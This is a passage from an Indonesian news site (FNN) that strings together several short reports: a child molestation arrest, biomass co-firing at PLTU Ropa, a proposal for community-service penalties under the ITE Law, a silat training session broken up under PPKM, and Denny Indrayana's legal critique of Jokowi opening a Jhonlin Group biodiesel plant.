kemiliteran, jadi statusnya bukan lagi prajurit TNI AU," tegas Kapten Jumadi. Untuk permasalahan yang menimpa MS, saat ini sedang didalami dan diproses oleh pihak kepolisian setempat, dan tidak ada hubungan dengan TNI AU. (sws, ant)

Pemuda Pematang Siantar Cabuli Anak di Bawah Umur

Medan, FNN - Personel Satuan Reskrim Polres Pematang Siantar menahan JMT seorang pelaku tindak pidana perbuatan cabul terhadap korban anak di bawah umur warga Pematang Siantar, Sumatera Utara. "Terhadap tersangka JMT dilakukan penahanan di Rumah Tahanan Polisi (RTP) Polres Pematang Siantar sejak tanggal 21 Oktober 2021," kata Kasubbag Humas Polres Pematang Siantar AKP Rusdi Yahya, dalam keterangan tertulis, Minggu. Ia menyebutkan, perbuatan cabul itu terjadi pada hari Selasa (19/10) sekira pukul 23.00 WIB, di Jalan Merdeka depan Gedung Olahraga Kelurahan Pardamuan, Kecamatan Siantar Timur, Kota Pematang Siantar, Sumatera Utara. Sebelum dilakukan penahanan terhadap tersangka, penyidik Polres Pematang Siantar melakukan pemeriksaan terhadap saksi-saksi dan visum menerangkan bahwa benar JMT telah melakukan perbuatan cabul terhadap korban. "Tersangka telah mengakui perbuatannya," ujar Rusdi. Rusdi mengatakan, Kasat Reskrim Polres Pematang Siantar AKP Edi Sukamto akan menindak tegas bagi setiap pelaku perbuatan cabul dan berkomitmen terus kepercayaan masyarakat. Dengan telah dilakukannya langkah-langkah tersebut diharapkan dapat mengurangi terjadinya tindak pidana perbuatan cabul terhadap anak di bawah umur. "Terima kasih kepada masyarakat yang terus memberikan kontrol kepada kami, karena kami ingin terus memberikan pelayanan yang terbaik kepada masyarakat," katanya pula. (sws, ant)

Kontrak Pelet TOSS PLTU Ropa NTT Dukung Transisi Energi RI

Jakarta, FNN - Kementerian ESDM mengapresiasi penandatanganan kontrak jual dan beli bahan bakar pelet tempat olah sampah setempat (TOSS) untuk program co-firing di PLTU Ropa, NTT, sebagai bentuk dukungan nyata bagi transisi energi di Indonesia. Penandatanganan kontrak dilakukan PT PLN (Persero) Unit Pelaksana Pembangkitan (UPK) Flores, NTT, dengan konsorsium koperasi dan usaha kecil menengah binaan Pemerintah Kabupaten Ende, NTT, bernama Koperasi Energi Baru Pancasila secara hybrid di Ende, NTT, Kamis (28/10/2021). Dikutip dari laman Kementerian ESDM di Jakarta, Senin, disebutkan bahwa kegiatan ini menjadi tonggak penting pengembangan biomassa untuk co-firing pada PLTU Ropa dengan memanfaatkan pelet yang berasal dari material sampah biomassa di Kabupaten Ende dan diproduksi masyarakat setempat. "Kami sangat mengapresiasi upaya Tim TOSS Ende yang terdiri atas Pemda Ende, Comestoarra, PLN UPK Flores, dan organisasi nirlaba ACIL yang terus mendukung transisi energi melalui upaya penyediaan energi yang berbasis energi terbarukan. Salah satu bagian program green booster PLN adalah co-firing pada PLTU eksisting dengan menggunakan biomassa baik yang berbasis sampah, limbah maupun biomassa yang berasal dari tanaman energi," ujar Direktur Jenderal Minyak dan Gas Bumi Kementerian ESDM Tutuka Ariadji dalam sambutannya secara virtual saat acara penandatanganan mewakili Menteri ESDM Arifin Tasrif. Menurut Tutuka, upaya co-firing ini akan berdampak positif dalam pencapaian kontribusi EBT, yang dalam kebijakan energi nasional (KEN) telah ditetapkan target pemanfaatan energi baru terbarukan (EBT) sebesar 23 persen pada 2025. Hal ini menjadi tanggung jawab bersama untuk bisa merealisasikannya. "PR kita untuk mencapai target tersebut masih cukup besar dan diperlukan berbagai terobosan dan inovasi untuk akselerasinya," katanya. Menurut dia, substitusi energi merupakan upaya yang mudah, cepat dan murah. Apalagi pada masa pandemi COVID-19, dengan demand penggunaan energi turun dan ketersediaan dana untuk investasi juga terbatas, maka upaya substitusi energi untuk jangka pendek dan menengah menjadi pilihan yang cerdas untuk mendorong EBT tanpa membebani PLN dan juga pemerintah dengan subsidi. Co-firing biomassa pada PLTU bukanlah hal baru. Banyak negara-negara di luar yang sudah berhasil menghijaukan PLTU-nya dengan program co-firing biomassa, bahkan hingga 100 persen PLTU digantikan dengan biomassa. Ke depan, Indonesia juga akan berupaya untuk bisa mengurangi PLTU-PLTU yang sudah ada untuk digantikan dengan pembangkit-pembangkit yang lebih bersih. "PLN dan pemerintah daerah diharapkan juga memiliki semangat dan komitmen yang kuat untuk bisa menyediakan energi untuk negeri dengan energi yang lebih ramah lingkungan," ujar Tutuka. Selain mendukung kontribusi energi terbarukan pada bauran energi nasional, program co-firing biomassa khususnya yang berbasis sampah dan limbah juga berdampak positif kepada pengembangan ekonomi kerakyatan yang produktif (circullar economy), dapat membuka lapangan kerja, dan menurunkan emisi gas rumah kaca, yang mana sektor energi diharapkan berkontribusi besar dalam upaya penurunan emisi gas rumah kaca. Tutuka mengatakan tantangan terbesar untuk program co-firing dengan biomassa ini adalah ketersediaan bahan baku yang berkelanjutan dan harga biomassa. Untuk itu, dalam jangka pendek ini, pemerintah mendorong implementasi dari co-firing ini menyesuaikan dengan ketersediaan feedstock di daerah setempat, sehingga dapat mengurangi biaya transportasi yang ujungnya bisa menekan harga bahan bakunya. TOSS Ende merupakan solusi pengelolaan dan pengolahan sampah di Kabupaten Ende yang dapat digunakan sebagai bahan baku co-firing PLTU Ropa, sekaligus mendukung ekosistem listrik kerakyatan dan substitusi minyak tanah dan kayu bakar yang selama ini masih banyak digunakan masyarakat Ende. Selain itu, nilai positif dari TOSS Ende ini menghidupkan kembali budaya gotong royong dalam pembersihan sampah dan lingkungan di masyarakat di Kabupaten Ende serta memberikan manfaat bagi pemulihan ekonomi masyarakat Ende akibat pandemi COVID-19. Bahan baku yang digunakan untuk co-firing cukup beragam seperti PT PJB yang go live komersial dengan sawdust, PT Indonesia Power go live dengan SRF dan sekam padi, PLTU Ketapang dan PLTU Sanggau go live dengan dengan cangkang sawit, dan sekarang PLTU Ropa menggunakan pelet TOSS yang dibuat masyarakat Ende. "Hal ini menunjukkan bahwa bahan baku biomassa untuk co-firing PLTU sangat fleksibel dan dapat menyesuaikan dengan potensi biomassa setempat dengan tetap memperhatikan standar teknis dan kebutuhan pembangkit. Dengan demikian, pengusaha lokal dan masyarakat setempat dapat terlibat aktif dalam kegiatan ini, sehingga mendukung terciptanya ekonomi listrik kerakyatan," tutur Tutuka. Pemerintah mengharapkan program ini dapat dilaksanakan secara berkelanjutan dan persentase dari campuran biomassanya juga terus bisa ditingkatkan. Untuk itu, tambahnya, dari sisi hulu penyediaan bahan bakunya juga harus dibangun dan dikembangkan dengan baik. (mth)

Akademisi Usulkan Sanksi Kerja Sosial Bagi Pelanggar UU ITE

Jakarta, FNN - Dosen Fakultas Hukum Universitas Islam Indonesia Ari Wibowo mengusulkan variasi sanksi pidana berupa kerja sosial untuk perkara yang melibatkan ketidakpatuhan terhadap Undang-Undang Informasi dan Transaksi Elektronik (UU ITE). “Karena motif (kejahatan siber, Red.) ada banyak, masalah yang harus dipikirkan adalah harus tersedia sanksi yang lebih bervariatif. (Sanksi, Red.) pidana yang disediakan dalam UU ITE hanya dua, pertama itu penjara, kedua denda,” kata Ari Wibowo ketika memberi paparan materi dalam seminar nasional bertajuk “Refleksi Penegakan Hukum Indonesia di Era Society 5.0" yang disiarkan di kanal YouTube FKPH FH UII, dan dipantau dari Jakarta, Minggu. Ari Wibowo memaparkan bahwa salah satu motif kejahatan siber adalah motif intelektual. Pelaku yang menggunakan motif tersebut cenderung melakukan kejahatan hanya untuk kepuasan diri pribadi dan menunjukkan bahwa dirinya telah mampu dan ahli dalam bidang teknologi informasi. “Mestinya sanksi pidana yang diterapkan tidak penjara atau denda. Tapi, memungkinkan alternatif sanksi lain, seperti sanksi kerja sosial. Negara bisa memanfaatkan dia (pelaku peretasan dengan motif intelektual, Red.) untuk yang lebih maslahat,” ujar Ari. Selain motif intelektual, terdapat dua motif lainnya, yaitu motif ekonomi, serta motif politik dan kriminal. Terkait dengan motif ekonomi, Ari merujuk pada kejahatan siber yang bertujuan untuk memperoleh keuntungan ekonomi. Pelaku kejahatan siber dengan motif ekonomi, kata Ari, relevan apabila memperoleh sanksi denda atau pidana finansial. Berdasarkan pengamatan Ari, pelaku kejahatan dengan motif ekonomi tidak akan jera apabila memperoleh sanksi berupa kurungan penjara. Selanjutnya, terkait motif politik dan kriminal. Pelaku yang melakukan kejahatan berdasarkan pada motif tersebut cenderung bertujuan untuk mendapat keuntungan pribadi atau golongan tertentu yang berdampak pada kerugian secara politik pada pihak lain. Selain itu, kejahatan dengan motif politik dan kriminal juga bisa menimbulkan kerugian kepada orang lain dan tidak terbatas pada pelaku politik. “Untuk motif politik dan kriminal, pidana penjara masih relevan untuk dilakukan pembinaan kepada pelakunya,” kata Ari pula. (sws, ant)

Polisi di Tulungagung Bubarkan Latihan Silat karena Alasan PPKM

Tulungagung, FNN - Polisi di Kabupaten Tulungagung, Jawa Timur, Minggu, membubarkan latihan silat salah satu perguruan silat di gedung serba guna Satpol PP setempat, karena alasan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) masih berlaku di daerah ini. "Kami bubarkan karena latihan itu sudah menimbulkan kerumunan. Pesertanya ada 100 orang lebih, sementara Tulungagung masih memberlakukan status PPKM," kata Kapolsek Tulungagung Kota Kompol Rudi Purwanto dikonfirmasi usai pembubaran. Ia memimpin langsung operasi pembubaran latihan silat itu, dengan membawa sejumlah anggota. Langkah tegas polisi direspons positif oleh panitia yang juga pengurus perguruan silat. Di hadapan Kapolsek Rudi dan jajaran, mereka mengakui kesalahan dan menghormati kebijakan daerah. Terlebih, ternyata mereka juga belum mengantongi izin. Kegiatan yang menimbulkan kerumunan itu sempat disesalkan sejumlah warga yang melihat adanya kerumunan tersebut. Pasalnya, gedung serba guna yang digunakan latihan merupakan aset milik Satpol PP dan berlokasi persis di depan Pendopo Kabupaten Tulungagung. "Itu ada anaknya anggota Satpol PP, minta izin Bapaknya," kata Rudi. Pengakuan panitia, kegiatan itu bertujuan untuk mencari atlet untuk persiapan pekan olahraga provinsi (porprov). Lantaran menimbulkan kerumunan, tidak mengantongi izin dan ada pengaduan warga, pihaknya lalu membubarkan kegiatan tersebut. Apalagi di waktu bersamaan, ada kegiatan pengesahan anggota perguruan silat lain di Lapangan Rejoagung. Dalam izin lisan yang disampaikan, jumlah peserta tak sampai 50 orang, namun saat acara berlangsung, ada sekitar 100 orang yang datang. "Makanya saya suruh pulang (bubar)," ujarnya. Kepada petugas, ketua panitia kegiatan seleksi Heru mengaku tak menyangka lebih banyak dari yang diperkirakan. Sebab sesuai izin yang disampaikan secara lisan, pihaknya sampaikan hanya dihadiri 48 orang. "Ternyata banyak yang datang, kami juga tak menyangka," ujar Heru. "Saya meminta maaf kepada Satpol PP, ini menjadi pembelajaran buat kami," katanya lagi. Dikonfirmasi terpisah, Kasatpol PP Kabupaten Tulungagung Wahyid Masrur mengaku tak tahu-menahu ada kegiatan silat di Gedung Serbaguna Satpol PP setempat. Mendengar kabar itu, dirinya langsung memerintahkan anggotanya untuk melakukan pembubaran. "Sudah saya suruh bubarkan," ujarnya pula. (sws, ant)

Satgas TNI Ajarkan Warga Perbatasan RI-PNG Mengolah Pisang

Keerom, FNN - Prajurit TNI Satgas Pamtas Yonif 403/Wirasada Pratista mengajarkan cara mengolah pisang dan singkong menjadi keripik kepada masyarakat perbatasan RI-Papua Nugini di Kampung Bompay, Distrik Waris, Kabupaten Keerom, Papua. Komandan Satuan Tugas (Dansatgas) Pamtas Yonif Mekanis 403/Wirasada Pratista Letkol Inf Ade Pribadi Siregar dalam keterangan, Senin, mengatakan, pelatihan ketrampilan membuat keripik merupakan salah satu wujud pembinaan teritorial yang dilakukan Satgas Pamtas Yonif Mekanis 403/Wirasada Pratista. Menurut dia, pelatihan ini sebagai bentuk penyaluran minat dan bakat ibu-ibu atau mama-mama dan anak-anak di wilayah perbatasan RI di Papua agar semakin kreatif dalam membuat makanan olahan, yang bahan dasarnya bisa didapatkan dari sekitar lingkungannya dengan memanfaatkan sumber daya alam yaitu pisang dan singkong. "Bahan tersebut kemudian diolah menjadi makanan olahan yang menarik, salah satunya yaitu keripik pisang krispi serta keripik singkong gurih dan manis,"ujar Letkol Ade Siregar. Pisang juga memiliki manfaat untuk kesehatan. Buah pisang selain sebagai sumber karbohidrat dan vitamin, uga dapat memperlancar metabolisme, meningkatkan kekebalan tubuh, melancarkan aliran oksigen ke otak, mengatasi anemia, menurunkan berat badan dan menyehatkan tulang,. "Kami ingin memperkenalkan dan mengajarkan kepada warga yang ada di wilayah perbatasan ini tentang tata cara membuat makanan olahan yang menarik dari pisang,” kata Dansatgas. Sementara itu, Danpos Bompay Satgas Pamtas Yonif Mekanis 403/Wirasada Pratista Serka Cecep Kusuma mengakui, Kampung Bompay merupakan salah satu desa yang memiliki potensi hasil pertanian yang melimpah selain singkong atau tanaman yang memiliki umbi salah satunya buah pisang. Melihat potensi tersebut,lanjutnya, terbersit ide untuk berbagi informasi tentang pengolahan pisang yang lebih menarik, tidak hanya direbus atau digoreng namun menjadi keripik pisang. Dikatakannya, sekitar 10 perempuan yang hadir dalam kegiatan ini, setelah mencoba contoh makanan olahan yang dibuat kemudian bersama-sama mulai mempraktikannya dengan dituntun personel Pos Bompay Sertu Purzazin dengan menggunakan bahan dasar berbekal tepung dan pisang. "Alhamdulillah hasilnya sesuai dengan harapan rasanya gurih dan enak. Warga sangat semangat, antusias dan senang serta tertarik dalam pelatihan belajar cara membuat makanan olahan ini,” ujar Cecep. Ia berharap, hasil pelatihan membuat makanan olahan ini, dapat dipraktikkan di rumah. "Tentunya selain untuk dicicipi oleh keluarga di rumah juga dapat membantu meningkatkan pendapatan ekonomi keluarga," tutup Cecep. Salah satu warga perbatasan Angelicca Awom mengucapkan sangat senang dan terima kasih kepada Danpos dan personel Pos Bompay karena telah memberikan pengetahuan tentang cara mengolah pisang dan singkong menjadi makanan olahan. "Ketrampilan olahan pisang krispi, keripik pisang manis, keripik pisang asin dan singkong kremes keju yang siap dimakan bersama keluarga dan bernilai ekonomi untuk dikembangkan menjadi industri rumah tangga,"ungkapnya. ​​​​​Angelicca berharap, keterampilan yang telah didapatkan dari Satgas Yonif 403 Pos Bompay ini dapat membangkitkan minat dan kreativitas kami di kampung ini untuk membuat usaha kecil-kecilan demi membantu perekonomian keluarga. (sws, ant)

Menghindari Potensi Pemakzulan atas Peresmian Pabrik Biodiesel Jhonlin Group oleh Presiden Jokowi

Jakarta, FNN - Mantan Wakil Menteri Hukum dan HAM Denny Indrayana membalas komentar istana atas kritik yang disampaikan beberapa hari lalu. Ia mengkritisi dua kejadian di Kalimantan Selatan atas kolaborasi antara Presiden Jokowi dan Haji Isam dalam satu pekan terakhir. Pertama, pada hari Kamis (21/10/2021) lalu, Presiden Jokowi dalam kunjungannya ke Tanah Bumbu, Kalimantan Selatan, meresmikan pabrik biodiesel yang didirikan PT Jhonlin Group milik Samsudin Andi Arsyad alias Haji Isam. Kedua, keesokan harinya, Jumat (22/10/2021) lalu, Advokat Jurkani yang sedang melakukan langkah advokasi atas suatu penambangan ilegal juga di daerah Tanah Bumbu, dibacok oleh sekelompok orang yang menyebabkan Jurkani luka parah di kaki dan tangannya. Untuk lebih jelasnya, kami muat utuh rilis yang diterima FNN dari Denny Indrayana, sebagai berikut: Rilis saya “Presiden Jokowi, Haji Isam, Advokat Jurkani, dan Politik Bisnis Batu Bara di Kalimantan Selatan” tanggal 24 Oktober 2021 mendapatkan pemberitaan yang cukup luas secara nasional, meskipun tidak ada media Kalsel sendiri yang mengangkatnya, mungkin bisa diduga mengapa. Tidak mudah agaknya buat media Kalsel memberitakan isu tersebut. Apalagi di masa lalu, minimal ada dua wartawan yang masuk penjara ketika mengangkat berita sejenis—salah satunya bahkan meninggal dunia di penjara. Terkait Advokat Jurkani, setelah pembacokan biadab yang menyebabkan luka parah di kaki dan tangannya—hingga nyaris putus, korban masih belum sadarkan diri setelah operasi yang dilakukan Jumat lalu (29/10/2021). Soal penganiayaan terhadap Jurkani adalah tantangan berat bagi aparat kepolisian untuk mengungkap siapa pelaku utamanya, dan tidak hanya menangkap pelaku lapangan—apalagi hanya dengan skenario akibat pengaruh minuman keras semata. Pembacokan tersebut jelas terkait dengan tindak pidana illegal mining di Kabupaten Tanah Bumbu yang tidak sulit dibuktikan, karena puluhan alat berat yang mengerjakannya dengan mudah bisa ditemukan di lapangan, dan tentu saja gampang diidentifikasi pemiliknya. Kali ini, izinkan saya menyampaikan tanggapan balik atas komentar “Istana” melalui Staf Khusus Presiden Bidang Hukum Dini Purwono yang dikutip beberapa portal online, salah satunya IDN Times, Selasa 26/10/2021. Tanggapan ini tentu saja berisiko, tetapi tetap perlu saya lakukan, dengan niat untuk pembelajaran bersama. Sama sekali tidak ada maksud personal. Ini lebih merupakan masukan institusional kepada Lembaga Kepresidenan yang harus sama-sama kita jaga marwahnya. Tidak pula ada maksud apa-apa kepada pemilik Jhonlin Group, Andi Syamsuddin Arsyad alias Haji Isam. Saya tidak kenal Beliau, tidak pernah bertemu. Tanggapan ini semata-mata niat baik untuk kita sama-sama menjaga prinsip good governance dalam pemerintahan, dan good corporate governance dalam kegiatan bisnis di tanah air. Dari pemberitaan yang saya baca, ada tiga poin utama yang disampaikan oleh Stafsus Presiden Bidang Hukum Dini Purwono. Pertama, Ibu Dini menegaskan bahwa yang diduga terlibat dalam kasus suap pajak adalah PT Jhonlin Baratama. Sedangkan pabrik biodiesel yang diresmikan Presiden Jokowi merupakan milik PT Jhonlin Agro Raya. “Meskipun berada dalam group perusahaan yang sama, namun dua perusahaan tersebut adalah entitas hukum yang berbeda, bidang usaha berbeda, memiliki susunan direksi dan dewan komisaris yang juga berbeda,” ujar Ibu Dini. Kedua, Dini menjelaskan, kehadiran Presiden Jokowi dalam peresmian pabrik biodiesel adalah dalam rangka mendorong hilirisasi industri. “Dalam hal ini Presiden juga ingin menekankan pentingnya industri biodiesel didorong dalam rangka meningkatkan ketahanan energi nasional, serta menekan defisit neraca perdagangan akibat impor solar”. Ketiga, terkait kasus yang sedang berjalan di KPK, Dini menegaskan, tidak ada intervensi dari Jokowi. “Terkait proses yang tengah berlangsung di KPK atas ‘sister company’ dari pabrik biodiesel tersebut, silakan terus berjalan dalam koridornya sendiri, diproses secara independen oleh KPK sesuai aturan hukum yang berlaku”. Jangan Sampai Menjadi Pintu Masuk Impeachment Atas tanggapan tersebut, izinkan saya menyampaikan terima kasih. Adalah suatu kehormatan bagi rakyat biasa seperti saya mendapatkan tanggapan dari lingkungan Istana Presiden. Izinkan saya menanggapi balik, sekali lagi sebagai bentuk kecintaan saya kepada Presiden Republik Indonesia Joko Widodo, agar tepat dalam mengambil keputusan dan kebijakan, utamanya di bidang hukum dan ketatanegaraan. Untuk tanggapan kali ini, saya akan berfokus pada poin pertama yang disampaikan Stafsus Presiden Bidang Hukum, bahwa ada perbedaan entitas hukum antara PT Jhonlin Baratama yang diduga terjerat perkara suap pajak di KPK dengan PT Jhonlin Agro Raya yang proyek biodieselnya diresmikan Presiden Jokowi. Saya akan berbicara lebih banyak soal “Penerima Manfaat” (beneficiary ownership), yang membuktikan bahwa kedua perseroan tersebut tidak bisa secara sederhana dilihat sebagai entitas terpisah semata, karena sebenarnya dimiliki dan dikontrol oleh orang yang sama: Haji Isam. Sedangkan untuk poin kedua soal mendukung hilirisasi industri, bukan kapasitas saya untuk menanggapi. Meskipun timbul pertanyaan, mengapa harus pabrik yang dimiliki Jhonlin Group, mengapa bukan yang lain? Apakah peresmian tersebut lebih terkait dengan kedekatan Haji Isam yang sempat diberitakan sebagai pengurus pendanaan dalam tim kampanye Jokowi dalam Pilpres 2019? Untuk poin ketiga, pernyataan tidak ada intervensi atas dugaan kasus di KPK, tentu harus diapresiasi, meskipun pada saat yang sama juga perlu dikritisi. Sebagaimana saya sampaikan di rilis awal, kehadiran Presiden Jokowi dapat disalahmaknai sebagai bentuk perlindungan hukum kepada Jhonlin Group dan Haji Isam atas dugaan kasus korupsinya di KPK. Di ketatanegaraan kita, posisi Presiden adalah salah satu yang paling sentral dalam politik hukum penanganan perkara. Presiden punya kewenangan seleksi atas pimpinan penegak hukum, Kapolri, Jaksa Agung, Pimpinan KPK—melalui panitia seleksi, dan lain-lain. Maka langkah-tindak dan kebijakan Presiden di bidang hukum harus sangat hati-hati dan bijaksana (prudent). Kekuranghati-hatian bukan hanya dapat disalahmaknai sebagai bentuk intervensi, bahkan lebih jauh dapat dianggap sebagai potensi tindak pidana menghalang-halangi penindakan dugaan kasus korupsi (obstruction of justice). Apalagi rumusan pasal 21 UU Tindak Pidana Korupsi, menyebutkan bentuk menggagalkan penanganan suatu perkara korupsi bisa langsung ataupun tidak langsung (direct or indirect). Lebih jelasnya kami kutipkan bunyi pasal tersebut secara utuh, yaitu: “Setiap orang yang dengan sengaja merintangi, atau menggagalkan langsung atau tidak langsung penyidikan, penuntutan dan pemeriksaan sidang pengadilan terhadap tersangka dan terdakwa ataupun para saksi dalam perkara korupsi, dipidana dengan pidana penjara paling singkat 3 (tiga tahun) dan paling lama 12 (dua belas tahun) atau denda paling sedikit Rp 150.000.000 (seratus lima puluh juta rupiah) dan paling banyak Rp 600.000.000 (enam ratus juta rupiah)”. Saya sama sekali tidak ingin Presiden Jokowi akan berhadap-hadapan dengan proses pemakzulan (impeachment) padahal berniat mulia meresmikan proyek biodiesel yang strategis. Apalagi korupsi adalah salah satu tindak pidana yang bisa menjadi pintu masuk pemecatan presiden (impeachment article) berdasarkan Pasal 7A UUD 1945. Tentu saja dari kacamata politik, proses impeachment kepada Presiden Jokowi nyaris mutahil, karena koalisi parpol pemerintah di DPR adalah mayoritas mutlak. Namun, tetap saja secara hukum, tidak boleh ada kesalahan sekecil apapun yang bisa membuka proses penuntutan pemakzulan kepada presiden. Kehati-hatian dalam mengawal presiden agar tidak salah dalam mengambil keputusan terkait hukum adalah keharusan. Sebagai Staf Khusus Presiden di Bidang Hukum, HAM, dan Pemberantasan KKN (2008-2011), kami berpengalaman mengawal presiden, termasuk dalam setiap kunjungan kerja ke daerah. Salah satu yang kami pastikan adalah menjamin rencana kunjungan tersebut clean and clear dari jebakan masalah hukum. Tidak sedikit permohonan audiensi yang tidak dikabulkan, ataupun permintaan menginap di suatu hotel yang kami tolak, karena lahan/hotel tersebut sedang terjerat perkara hukum. Sebagai magnet kekuasaan Number One di tanah air, adalah wajar bila setiap pihak yang sedang terjerat dugaan perkara hukum berusaha untuk mendekat—dengan nawaitu mendapatkan politik proteksi/perlindungan hukum dari Presiden. Mengidentifikasi Pemilik Manfaat Presiden Jokowi harus diberikan apresiasi tinggi karena menerbitkan Peraturan Presiden Nomor 13 Tahun 2018 tentang Penerapan Prinsip Mengenali Pemilik Manfaat dari Korporasi dalam Rangka Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang dan Tindak Pidana Pendanaan Terorisme. Indonesia dihargai secara internasional karena telah selangkah di depan dalam mengidentifikasi kejahatan, melalui identifikasi pemilik sebenarnya dari suatu korporasi tersebut. Sudah jamak dipahami, bahwa pengusaha seringkali salah memanfaatkan pertanggungjawaban terbatas dalam perseroan, untuk menghindar dari pertanggungjawaban hukum. Dalam kacamata inilah, mengatakan bahwa PT Jhonlin Baratama dan PT Jhonlin Agro Raya adalah dua entitas hukum yang berbeda adalah suatu kesimpulan yang terburu-buru dan keliru. Tentu saja secara sekilas mata, PT Jhonlin Baratama yang sedang terjerat dugaan korupsi penyuapan pajak di KPK dan PT Jhonlin Agro Raya yang proyek biodieselnya diresmikan Presiden Jokowi adalah dua perusahaan berbeda. Apalagi kalau Stafsus Presiden Bidang Hukum Dini Purwono hanya mendasarkan pada “bidang usaha berbeda, memiliki susunan direksi dan dewan komisaris yang juga berbeda”. Siapapun yang hanya menggunakan parameter itu semata akan mudah terkelabui. Kita semua—dan lingkaran Istana—tentu harus membaca dengan cermat Peraturan Presiden 13/2018 yang diterbitkan Presiden Jokowi sendiri untuk mengetahui “Pemilik Manfaat” sebenarnya (beneficiary ownership) dari suatu korporasi. Presiden Jokowi menerbitkannya sebagai obat mujarab untuk menangkal pengelabuan dan rekayasa hukum korporasi, yang jamak dilakukan dalam praktik di tanah air. Dalam Perpres tersebut, Pasal 1 angka 2 mengartikan, “Pemilik Manfaat adalah orang perseorangan yang dapat menunjuk atau memberhentikan direksi, dewan komisaris, pengurus, pembina, atau pengawas pada Korporasi, memiliki kemampuan untuk mengendalikan Korporasi, berhak atas dan/atau menerima manfaat dari Korporasi baik langsung maupun tidak langsung, merupakan pemilik sebenarnya dari dana atau saham Korporasi dan/atau memenuhi kriteria sebagaimana dimaksud dalam Peraturan Presiden ini”. Mengidentifikasi pemilik manfaat bukanlah perkara yang sulit. Terima kasih kepada Direktorat Jenderal Administrasi Hukum Umum, Kemenkumham, yang sejak kami menerima amanah selaku Wakil Menteri Hukum dan HAM (2011-2014), telah memiliki sistem online yang memungkinkan mengakses hampir semua data terbaru, termasuk pemegang saham dan pengurus suatu perseroan terbatas. Maka, dari penelusuran data perseroan yang bersifat terbuka untuk umum di Kemenkumham itu dapat dengan mudah disimpulkan bahwa, meskipun sekilas memang dua perseroan yang berbeda, tetapi PT Jhonlin Baratama dan PT Jhonlin Agro Raya bukan semata adalah satu grup alias ‘sister company’, tetapi lebih jauh dikuasai oleh Pemilik Manfaat yang sama, yaitu Haji Isam. Untuk lebih mudah memahami struktur kepemilikan saham dan kepengurusan tersebut, berikut tampilannya dalam bentuk bagan: Perbesar Sumber: Dirjen AHU, Kemenkumham, 2021. Perbesar Sumber: Dirjen AHU, Kemenkumham, 2021. Perbesar Sumber: Dirjen AHU, Kemenkumham, 2021. Mengacu pada dua bagan di atas, berdasarkan data terakhir tanggal 19 April 2021 dengan Akta Nomor 13 oleh Notaris Muhammad Hanafi, PT Jhonlin Baratama komposisi pemegang sahamnya adalah: PT Jhonlin Group 51% (dimana Haji Isam memiliki 96,99% saham PT Jhonlin Group); Hj. Nurhayati 44,98% saham; dan Haji Isam 4,02% saham, dengan Komisaris Jhony Saputra. Di sini tergambar, bahwa meskipun Haji Isam hanya memiliki saham secara langsung sebesar 4,02%, tetapi Haji Isam dapat mengontrol PT Jhonlin Baratama melalui kepemilikan saham mayoritasnya di PT Jhonlin Group sebesar 96,99%. Sedangkan dari data terakhir tanggal 21 Agustus 2020 dengan Akta Nomor 32 oleh Notaris Muhammad Hanafi, PT Jhonlin Agro Raya komposisi pemegang sahamnya adalah: PT Eshan Agro Sentosa 98,81%; PT Jhonlin Agro Mandiri 0,604% saham; dan Haji Isam 0,58% saham, dengan kepengurusan Komisaris Utama Liana Saputri. Memang terdapat perseroan PT Eshan Agro Sentosa yang seolah berbeda, tetapi sebenarnya juga dikontrol oleh Haji Isam melalui kepemilikan saham mayoritasnya sebanyak 99% di PT Eshan Rimba Agro. Ditambah, kepemilikan saham minoritas oleh PT Jhonlin Agro Mandiri juga dapat dikontrol oleh Haji Isam melalui dua lapis (layer) perantara, yakni PT Eshan Wana Lestari dan PT Eshan Rimba Argo. Di sini kembali tergambar, meskipun Haji Isam hanya memiliki saham secara langsung sebesar 0,58%, tetapi Haji Isam dapat mengontrol PT Jhonlin Agro Raya melalui kepemilikan saham mayoritasnya—yang lebih dari 96%—di dua perusahaan antara tersebut. Kesimpulannya, baik PT Jhonlin Baratama yang sedang terbelit dugaan kasus korupsi di KPK ataupun PT Jhonlin Agro Raya yang proyek biodieselnya diresmikan Presiden Jokowi, meskipun sekilas adalah dua perusahaan yang berbeda, tetapi dari sisi pemegang sahamnya keduanya dikuasai mayoritas mutlak oleh Haji Isam. Karena itu, berdasarkan pendekatan beneficiary ownership dapat disimpukan bahwa sebagai pemegang saham pengendali, tentunya Haji Isam dapat menentukan kepengurusan (komisaris dan direksi), serta “memiliki kemampuan untuk mengendalikan Korporasi” sebagaimana makna Pemilik Manfaat dalam Perpres 13/2018. Masih banyak isu hukum lain yang menarik untuk dibahas, misalnya bagaimana tindak lanjut penanganan dugaan korupsi di KPK? Bagaimana pula pertanggungjawaban korporasi—bahkan grup usaha—dalam dugaan tindak pidana korupsi suap pajak tersebut? Tapi, supaya fokus, tidak saya uraikan pada kesempatan rilis kali ini. Demikian sedikit tanggapan dan analisis hukum yang dapat kami berikan, semoga bermanfaat, dan mohon maaf jika ada yang kurang berkenan. Salam Integritas, Minggu, 31 Oktober 2021 Denny Indrayana (WA: 0817726299)

Sandiaga Harapkan MFC 2021 Bangkitkan Ekonomi Kreatif Kota Malang

Malang, FNN - Menteri Pariwisata dan Ekonomi Kreatif Sandiaga Uno mengharapkan penyelenggaraan ajang tahunan Malang Flower Carnival (MFC) 2021 mampu membangkitkan sektor pariwisata dan ekonomi kreatif Kota Malang, Jawa Timur. Sandiaga, dalam sambutan secara virtual pada Malang Flower Carnival 2021 di Kota Malang, Minggu mengatakan, MFC 2021 juga diharapkan mampu berkontribusi dalam peningkatan ekonomi lokal, yang pada akhirnya perekonomian nasional. "Semoga industri pariwisata dan ekonomi kreatif Kota Malang bisa bangkit dan berkembang lebih luas lagi, sehingga mampu berkontribusi bagi peningkatan ekonomi lokal, dan nasional," kata Sandiaga. Ia menjelaskan, pelaksanaan MFC 2021 kali ini digelar secara hybrid untuk memastikan penerapan protokol kesehatan secara ketat dan disiplin. Ia memberikan apresiasi kepada seluruh pihak, yang bisa kembali menyelenggarakan MFC 2021 di tengah pandemi COVID-19. Menurutnya, dengan tema yang diusung MFC 2021 adalah Great Garudheya Nuswantara, dimaknai sebagai lambang negara, dan pemersatu bangsa untuk mengangkat nilai-nilai kearifan lokal, khususnya di wilayah Kota Malang. "Dan nilai tersebut diharapkan bisa menjadi semangat bagi kita semua untuk memperkokoh kesatuan bangsa, dan tetap berkarya di masa pandemi COVID-19," ujarnya. Ia mengharapkan, gelaran MFC 2021 bisa memberikan kontribusi dalam kemajuan sektor ekonomi 